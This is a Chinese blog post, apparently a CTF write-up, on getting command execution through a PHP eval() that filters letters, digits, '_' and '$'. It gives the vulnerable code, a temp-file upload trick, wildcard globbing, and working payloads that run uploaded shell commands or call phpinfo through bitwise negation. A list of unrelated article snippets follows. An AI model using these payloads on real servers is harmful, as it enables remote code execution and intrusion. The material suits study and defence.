过滤了字母、数字、_、$的webshell命令执行技巧
目录
对于php5以上首先要解决的问题有
解决技巧
1.code长度小于35位
2.没有字母、数字、_ 、$
3.怎么把文件放进服务器
4.怎么执行文件里面的内容
1.执行Linux命令
2.执行文件里面的shell命令
5.构造完整的code参数
6.我们还可以通过修改文件里面shell命令，执行不同的命令
对于php7可以用取反绕过的技巧（ ~ 是取反的意思）
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}这个代码怎么利用
对于php5以上首先要解决的问题有
1.code长度小于35位
2.没有字母、数字、_ 、$
3.怎么把文件放进服务器
4.怎么执行文件里面的内容
解决技巧
1.code长度小于35位
这个问题和整体思路有关，要和后面的一起考虑
2.没有字母、数字、_ 、$
可以不用字母数字，Linux系统文件名支持通配符方式查找
比如
* 代表任意长度的字符
？代表任意一个长度的字符
[ ] 匹配括号里面的任意一个
这道题我们要找文件，不能用字母，数字等，因为我们要找的文件有个特点是在tmp下，9位，最后一位有几率是大写字母，所以我们可以用通配符和ascii码结合一下，写出payload
/???/????????[@-[]
因为最后一位是大写，所以可以用@-[ ，因为@到[ 的ASCII码正好刚刚好包含了大写字母
3.怎么把文件放进服务器
写一个文件上传的html页面，作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记
<!DOCTYPE html>
<html lang="zh">
<head> <meta charset="UTF-8"> <title>文件上传示例</title>
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>
在上传的文件1.txt里面写上#!bin/bash
id
复制如图的请求标识，备用
4.怎么执行文件里面的内容
在发送上一步文件上传请求后，Linux会在tmp下生成一个临时文件，我们要运行并执行文件里面的内容
1.执行Linux命令
在Linux里面``反引号可以执行命令，所以我们用
`/???/????????[@-[]`
来执行查找临时文件的命令，
2.执行文件里面的shell命令
在文件路径的前面加上 . 可以执行文件里面的命令
所以payload是
`. /???/????????[@-[]`
5.构造完整的code参数
code=?><?=`. /???/????????[@-[]`;?>
<?是php的开头，为什么前面还要加一个?>呢
因为这个是php官方要求的，目的是为了防止前面的代码进行干扰，就用?>进行闭合，
然后再写我们的php代码。
如图所示，post请求是可以把get请求参数和post请求一起进行传递的
整个过程是，post请求把带有shell命令的临时文件生成，然后get请求传递code值放入eval()里面，
然后执行查找临时文件的命令，找到了临时文件，然后用 . 来执行文件里面的显示当前用户id的命令，最后，用户id信息就会显示在响应包里面
6.我们还可以通过修改文件里面shell命令，执行不同的命令
对于php7还可以用取反绕过的技巧（ ~ 是取反的意思）
PHP7允许用($a)();这样的方法来执行动态函数，所以我们可以想到直接（phpinfo）（）；
但是由于过滤了字母，不能直接写phpinfo，可以进行取反
把phpinfo用php代码进行取反，得到
%8F%97%8F%96%91%99%90
取反绕过了以后再取反一次，就回到了我们的phpinfo
所以可以构造payload为
code=(~%8F%97%8F%96%91%99%90)();
相关文章：
过滤了字母、数字、_、$的webshell命令执行技巧
目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令，…...
python-A+B again
[题目描述] 小理有一个非常简单的问题给你，给你两个整数 A 和 B，你的任务是计算 AB。输入格式： 输入共 2∗T1 行。 输入的第一行包含一个整数 T 表示测试实例的个数，然后 2∗T 行，分别表示 A 和 B 两个正整数。注意整数…...
C语言—函数递归
一、递归概念 递归其实是⼀种解决问题的⽅法，在C语⾔中，递归就是函数⾃⼰调⽤⾃⼰。下面举一个例子： 上述就是⼀个简单的递归程序，只不过上⾯的递归只是为了演⽰递归的基本形式，不是为了解决问题，代码最终…...
结构开发笔记（四）：solidworks软件(三)：绘制36x36方块摄像头示意体
若该文为原创文章，转载请注明原文出处 本文章博客地址：https://hpzwl.blog.csdn.net/article/details/141187797 长沙红胖子Qt（长沙创微智科）博文大全：开发技术集合（包含Qt实用技术、树莓派、三维、OpenCV…...
【机器学习】Caltech-101的基本概念和使用方法以及Caltech-101和ImageNet的联系和区别
引言 Caltech-101数据集是一个广泛用于对象识别任务的数据库，它包含了大约9,000张图像，这些图像来自101个不同的对象类别。每个类别包含的图像数量大约在40到800张之间，大多数类别大约有50张图像。图像的分辨率大致为300200像素 文章目录 引言…...
mysql Ubuntu安装与远程连接配置
一、安装（Ubuntu22环境安装mysql8） 这里使用Xshell链接Ubuntu和mysql windows进行操作，特别提醒：安装之前建议对Ubuntu快照处理备份，避免安装中出错导致Ubuntu崩溃。 查看是否安装的有可以用指令：ps -ef|…...
c语言中比较特殊的输入格式
目录 一.%[ ] 格式说明符 1.基本用法 (1)读取字母字符: (2)读取数字字符: (3)读取所有字符直到遇到空格: (4)读取直到换行符: 2.使用范围和组合: 3.^ 取反操作 4.注意事项 (1). 字符范围的正确表示 (2). 避免字符集中的特殊字符冲突 (3).避免空字符集 (4). 输入长…...
远程命令行控制SSH
第一次接触SSH是ROS小车作为服务端，通过ubuntu电脑客户端访问。因为机器人接键盘和屏幕操作起来不方便，所以使用SSH进行连接，方便对小车的操作。 1.服务端安装 打开终端查看ssh是否安装 sudo service ssh status 如果未安装 sudo apt upd…...
钢铁百科：A572Gr60和SA572Gr60材质分析、A572Gr60和SA572Gr60简介
A572Gr60和SA572Gr60是两种常用的结构钢板，它们在材质、执行标准、化学成分、力学性能、交货状态、应用范围和常用规格方面有所不同。 材质： A572Gr60：属于美国材料与试验协会（ASTM）标准下的A572系列高性能结构钢&…...
一次sql请求，返回分页数据和总条数
日常搬砖，总少不了需要获取分页数据和总行数。 一直以来的实践是编码两次sql请求，分别拉分页数据和totalCount。 最近我在思考： 常规实践为什么不是 在一次sql请求中中执行多次sql查询或多次更新，显而易见的优势： ① 能…...
2.5 pyautogui 实现微信自动回复
第四节：实战微信自动回复 课程目标 学习如何通过pyautogui完成微信自动回复 课程内容 编码实现 import pyautogui as pg import time from pyautogui import ImageNotFoundException import pyperclip from cnocr import CnOcr import random ocr CnOcr() msg…...
观存储历史，论数据未来
数据存储 这几天我反复观看了腾讯云社区的《中国数据库前世今生》纪录片，每次的感受都大相径庭。以下是我在这段时间里对纪录片的两个不同感想，希望感兴趣的小伙伴们也能去观看一番。 一个是关于国产数据库的发展趋势的探讨：https://blog.c…...
linux：对目录的操作
一、对目录操作 1,打开目标目录 2.读取目录，， 3.关闭目录 目录 当文件看，只不过操作函数和操作文件函数不一样。 *1.opendir DIR *opendir(const char *name); 功能:打开一个目录获得一个目录流指针 参数:name:目录名 返回值…...
详解Redis 高可用的方式 Redis Cluster
Redis 高可用方式 Redis 提供了多种高可用性方案，主要包括以下几种方式： 主从复制（Replication） 主从复制是最基本的高可用性方案，通过将数据从一个主节点复制到多个从节点来实现数据的冗余和读写分离。主节点负责所…...
=0)
$clog2(1)=0
项目场景： 写ip 时， 使用参数化的方式实现2w1r 时，出现计算读返回index 时，减下溢！ 问题描述 verilog中会使用parameter 参数化，例如使用dpth 和$clog2(dpth)addr 。 常见的写法没有什么问题。 module …...
开发学习日记1
用这个系列博客记录下学习开发的一些小收获 git的使用： 说来惭愧，学到了大二，git的使用还是一团糟，记录一下如何使用git进行团队合作开发 当要加入其他人的项目时首先你要创建自己的分支（克隆一下其他分支ÿ…...
孙宇晨领航波场TRON：引领数字资产迈向崭新纪元
在风起云涌的数字资产领域，孙宇晨这个名字始终与创新、突破和引领紧密相连。作为波场TRON的创始人，他不仅是一位远见卓识的领导者，更是推动数字资产迈向新纪元的坚实力量。 自波场TRON诞生以来，孙宇晨便以其敏锐的洞察力…...
)
python运维(twenty-four day)
一、python基础 1、环境python2、python3 [rootpython ~]# yum list installed | grep python #检查是否有python包 [rootpython ~]# yum list installed | grep epel #检查是否有epel包 [rootpython ~]# yum -y install epel-release [rootpython ~]# yum -y instal…...
Eureka原理实践
1. 简介 1.1. 概述 Eureka是Netflix开源的一个服务注册与发现框架，它在微服务架构中扮演着至关重要的角色。 Eureka由两个核心组件组成： Eureka Server（服务注册中心）：负责存储、管理和提供服务实例信息，如服务名、IP地址、端口号等。Eureka Server通常采用集群部署以保…...
Ant-Design-Vue快速上手指南+排坑
1. 简介 1.1. 概述 Ant-Design-Vue是由阿里巴巴开源的一个基于Vue.js框架的企业级UI设计语言。它旨在帮助开发者构建设计优雅、体验流畅的企业级应用。Ant-Design-Vue提供了一系列高质量的Vue组件，包括表单、表格、布局、导航、图标等，可以帮助开发者快速搭建应用程序界面。…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接：3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
IGP（Interior Gateway Protocol，内部网关协议）
IGP（Interior Gateway Protocol，内部网关协议） 是一种用于在一个自治系统（AS）内部传递路由信息的路由协议，主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求，由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面： 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限，形成层级清晰的管理网络…...
P3 QT项目----记事本（3.8）
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。
1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj，再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...
docker 部署发现spring.profiles.active 问题
报错： org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣（LeetCode） 思路 右视图是指从树的右侧看，对于每一层，只能看到该层最右边的节点。实现思路是： 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ；并安装。 基础操作不再赘述。 打开 macOS 终端，开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时，性能会显著下降。以下是优化思路和简易实现方法： 一、核心优化思路 减少 JOIN 数量 数据冗余：添加必要的冗余字段（如订单表直接存储用户名）合并表：将频繁关联的小表合并成…...